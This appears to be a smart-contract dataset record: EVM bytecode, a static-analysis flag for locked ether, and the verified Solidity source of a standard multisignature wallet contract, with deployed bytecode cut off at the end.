65b3480156104f657600080fd5b506102b5610f7b565b34801561050b57600080fd5b5061015c6004803603602081101561052257600080fd5b5035610f81565b34801561053557600080fd5b5061015c6004803603602081101561054c57600080fd5b5035611000565b34801561055f57600080fd5b506102b56004803603606081101561057657600080fd5b600160a060020a03823516916020810135918101906060810160408201356401000000008111156105a657600080fd5b8201836020820111156105b857600080fd5b803590602001918460018302840111640100000000831117156105da57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506110cb945050505050565b34801561062757600080fd5b506102b56110ea565b34801561063c57600080fd5b506102b56110ef565b34801561065157600080fd5b5061015c6004803603604081101561066857600080fd5b50600160a060020a03813581169160200135166110f5565b34801561068c57600080fd5b5061015c600480360360208110156106a357600080fd5b5035611278565b60038054829081106106b857fe5b600091825260209091200154600160a060020a0316905081565b3330146106de57600080fd5b600160a060020a038116600090815260026020526040902054819060ff16151561070757600080fd5b600160a060020a0382166000908152600260205260408120805460ff191690555b600354600019018110156107dd5782600160a060020a031660038281548110151561074f57fe5b600091825260209091200154600160a060020a031614156107d55760038054600019810190811061077c57fe5b60009182526020909120015460038054600160a060020a0390921691839081106107a257fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506107dd565b600101610728565b506003805460001901906107f19082611546565b50600354600454111561080a5760035461080a90610f81565b604051600160a060020a038316907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050565b3360008181526002602052604090205460ff16151561086057600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561088c57600080fd5b600084815260208190526040902060030154849060ff16156108ad57600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109965783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b1561098e576001820191505b600101610935565b5092915050565b3330146109a957600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109d157600080fd5b81600160a060020a03811615156109e757600080fd5b60038054905060010160045460328211158015610a045750818111155b8015610a0f57508015155b8015610a1a57508115155b1515610a2557600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610b415760008481526001602052604081206003805491929184908110610af057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610b24576001820191505b600454821415610b3957600192505050610b44565b600101610ac7565b50505b919050565b6000805b600354811015610bb25760008381526001602052604081206003805491929184908110610b7657fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610baa576001820191505b600101610b4d565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610c635780601f10610c3857610100808354040283529160200191610c63565b820191906000526020600020905b815481529060010190602001808311610c4657829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610cce57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610cb0575b505050505090505b90565b606080600554604051908082528060200260200182016040528015610d08578160200160208202803883390190505b5090506000805b600554811015610d8a57858015610d38575060008181526020819052604090206003015460ff16155b80610d5c5750848015610d5c575060008181526020819052604090206003015460ff165b15610d8257808383815181101515610d7057fe5b60209081029091010152600191909101905b600101610d0f565b878703604051908082528060200260200182016040528015610db6578160200160208202803883390190505b5093508790505b86811015610dff578281815181101515610dd357fe5b9060200190602002015184898303815181101515610ded57fe5b60209081029091010152600101610dbd565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015610e3c578160200160208202803883390190505b5090506000805b600354811015610ef45760008581526001602052604081206003805491929184908110610e6c57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610eec576003805482908110610ea757fe5b6000918252602090912001548351600160a060020a0390911690849084908110610ecd57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610e43565b81604051908082528060200260200182016040528015610f1e578160200160208202803883390190505b509350600090505b81811015610f73578281815181101515610f3c57fe5b906020019060200201518482815181101515610f5457fe5b600160a060020a03909216602092830290910190910152600101610f26565b505050919050565b60055481565b333014610f8d57600080fd5b6003548160328211801590610fa25750818111155b8015610fad57508015155b8015610fb857508115155b1515610fc357600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff16151561101e57600080fd5b6000828152602081905260409020548290600160a060020a0316151561104357600080fd5b60008381526001602090815260408083203380855292529091205484919060ff161561106e57600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36110c485611278565b5050505050565b60006110d8848484611433565b90506110e381611000565b9392505050565b603281565b60045481565b33301461110157600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561112a57600080fd5b600160a060020a038216600090815260026020526040902054829060ff161561115257600080fd5b60005b6003548110156111de5784600160a060020a031660038281548110151561117857fe5b600091825260209091200154600160a060020a031614156111d657836003828154811015156111a357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506111de565b600101611155565b50600160a060020a03808516600081815260026020526040808220805460ff1990811690915593871682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038416907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a250505050565b3360008181526002602052604090205460ff16151561129657600080fd5b60008281526001602090815260408083203380855292529091205483919060ff1615156112c257600080fd5b600084815260208190526040902060030154849060ff16156112e357600080fd5b6112ec85610ac2565b156110c4576000858152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f6000199783161561010002979097019091169290920494850187900487028201870190975283815293956113be95600160a060020a039093169491939283908301828280156113b45780601f10611389576101008083540402835291602001916113b4565b820191906000526020600020905b81548152906001019060200180831161139757829003601f168201915b5050505050611523565b156113f35760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261142b565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038101805460ff191690555b505050505050565b600083600160a060020a038116151561144b57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926114cb92600285019291019061156f565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181111561156a5760008381526020902061156a9181019083016115ed565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115b057805160ff19168380011785556115dd565b828001600101855582156115dd579182015b828111156115dd5782518255916020019190600101906115c2565b506115e99291506115ed565b5090565b610cd691905b808211156115e957600081556001016115f356fea165627a7a7230582039b18f94affbdcb3d3d93cf932d064d0798d9496cd1947c6a2139ede773728d30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,069 |
0x30D432aEcD99bAEB00A03721A7C799a729d5B5c8
|
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
receive()
external payable
{
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.pop();
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
// @param destination Transaction target address.
// @param value Transaction ether value.
// @param data Transaction data payload.
// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
// @dev Returns number of confirmations of a transaction.
// @param transactionId Transaction ID.
// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
// @dev Returns total number of transactions after filers are applied.
// @param pending Include pending transactions.
// @param executed Include executed transactions.
// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
// @dev Returns array with owner addresses, which confirmed transaction.
// @param transactionId Transaction ID.
// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
// @dev Returns list of transaction IDs in defined range.
// @param from Index start position of transaction array.
// @param to Index end position of transaction array.
// @param pending Include pending transactions.
// @param executed Include executed transactions.
// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061012e5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c8414610794578063c6427474146107cf578063d74f8edd146108d5578063dc8452cd14610900578063e20056e61461092b578063ee22610b1461099c57610183565b8063a0e67e2b14610580578063a8abe69a146105ec578063b5dc40c31461069e578063b77bf6001461072e578063ba51a6df1461075957610183565b806354741525116100f257806354741525146103515780637065cb48146103ae578063784547a7146103ff5780638b51d13f146104505780639ace38c21461049f57610183565b8063025e7c2714610188578063173825d9146101ed57806320ea8d861461023e5780632f54bf6e146102795780633411c81c146102e057610183565b36610183573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a2005b600080fd5b34801561019457600080fd5b506101c1600480360360208110156101ab57600080fd5b81019080803590602001909291905050506109d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f957600080fd5b5061023c6004803603602081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a13565b005b34801561024a57600080fd5b506102776004803603602081101561026157600080fd5b8101908080359060200190929190505050610cc5565b005b34801561028557600080fd5b506102c86004803603602081101561029c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e67565b60405180821515815260200191505060405180910390f35b3480156102ec57600080fd5b506103396004803603604081101561030357600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e87565b60405180821515815260200191505060405180910390f35b34801561035d57600080fd5b506103986004803603604081101561037457600080fd5b81019080803515159060200190929190803515159060200190929190505050610eb6565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103fd600480360360208110156103d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f48565b005b34801561040b57600080fd5b506104386004803603602081101561042257600080fd5b8101908080359060200190929190505050611158565b60405180821515815260200191505060405180910390f35b34801561045c57600080fd5b506104896004803603602081101561047357600080fd5b810190808035906020019092919050505061123a565b6040518082815260200191505060405180910390f35b3480156104ab57600080fd5b506104d8600480360360208110156104c257600080fd5b8101908080359060200190929190505050611303565b604051808573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315158152602001828103825284818151815260200191508051906020019080838360005b83811015610542578082015181840152602081019050610527565b50505050905090810190601f16801561056f5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561058c57600080fd5b506105956113f8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d85780820151818401526020810190506105bd565b505050509050019250505060405180910390f35b3480156105f857600080fd5b506106476004803603608081101561060f57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611486565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561068a57808201518184015260208101905061066f565b505050509050019250505060405180910390f35b3480156106aa57600080fd5b506106d7600480360360208110156106c157600080fd5b8101908080359060200190929190505050611611565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561071a5780820151818401526020810190506106ff565b505050509050019250505060405180910390f35b34801561073a57600080fd5b50610743611864565b6040518082815260200191505060405180910390f35b34801561076557600080fd5b506107926004803603602081101561077c57600080fd5b810190808035906020019092919050505061186a565b005b3480156107a057600080fd5b506107cd600480360360208110156107b757600080fd5b8101908080359060200190929190505050611920565b005b3480156107db57600080fd5b506108bf600480360360608110156107f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561083957600080fd5b82018360208201111561084b57600080fd5b8035906020019184600183028401116401000000008311171561086d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611b0d565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b506108ea611b2c565b6040518082815260200191505060405180910390f35b34801561090c57600080fd5b50610915611b31565b6040518082815260200191505060405180910390f35b34801561093757600080fd5b5061099a6004803603604081101561094e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b37565b005b3480156109a857600080fd5b506109d5600480360360208110156109bf57600080fd5b8101908080359060200190929190505050611e3e565b005b600381815481106109e457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a4b57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610aa257600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060005b600160038054905003811015610c1f578273ffffffffffffffffffffffffffffffffffffffff1660038281548110610b3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c1257600360016003805490500381548110610b8d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038281548110610bc557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c1f565b8080600101915050610afd565b506003805480610c2b57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556003805490506004541115610c7e57610c7d60038054905061186a565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d1c57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d8557600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610db357600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f4157838015610ef5575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f285750828015610f27575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f34576001820191505b8080600101915050610ebe565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8057600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd857600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561101357600080fd5b600160038054905001600454603282111580156110305750818111155b801561103d575060008114155b801561104a575060008214155b61105357600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506003859080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060005b600380549050811015611232576001600085815260200190815260200160002060006003838154811061119157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611210576001820191505b60045482141561122557600192505050611235565b8080600101915050611162565b50505b919050565b600080600090505b6003805490508110156112fd576001600084815260200190815260200160002060006003838154811061127157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112f0576001820191505b8080600101915050611242565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113db5780601f106113b0576101008083540402835291602001916113db565b820191906000526020600020905b8154815290600101906020018083116113be57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561147c57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611432575b5050505050905090565b60608060055467ffffffffffffffff811180156114a257600080fd5b506040519080825280602002602001820160405280156114d15781602001602082028036833780820191505090505b5090506000805b6005548110156115745785801561150f575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115425750848015611541575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611567578083838151811061155457fe5b6020026020010181815250506001820191505b80806001019150506114d8565b87870367ffffffffffffffff8111801561158d57600080fd5b506040519080825280602002602001820160405280156115bc5781602001602082028036833780820191505090505b5093508790505b86811015611606578281815181106115d757fe5b602002602001015184898303815181106115ed57fe5b60200260200101818152505080806001019150506115c3565b505050949350505050565b60608060038054905067ffffffffffffffff8111801561163057600080fd5b5060405190808252806020026020018201604052801561165f5781602001602082028036833780820191505090505b5090506000805b60038054905081101561179f576001600086815260200190815260200160002060006003838154811061169557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611792576003818154811061171a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061175157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611666565b8167ffffffffffffffff811180156117b657600080fd5b506040519080825280602002602001820160405280156117e55781602001602082028036833780820191505090505b509350600090505b8181101561185c5782818151811061180157fe5b602002602001015184828151811061181557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117ed565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a257600080fd5b60038054905081603282111580156118ba5750818111155b80156118c7575060008114155b80156118d4575060008214155b6118dd57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661197757600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119e757600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a5157600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611b0685611e3e565b5050505050565b6000611b1a8484846120e0565b9050611b2581611920565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b6f57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bc657600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c1e57600080fd5b60005b600380549050811015611d01578473ffffffffffffffffffffffffffffffffffffffff1660038281548110611c5257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cf4578360038281548110611ca757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d01565b8080600101915050611c21565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e9557600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611efe57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615611f2c57600080fd5b611f3585611158565b156120d9576000806000878152602001908152602001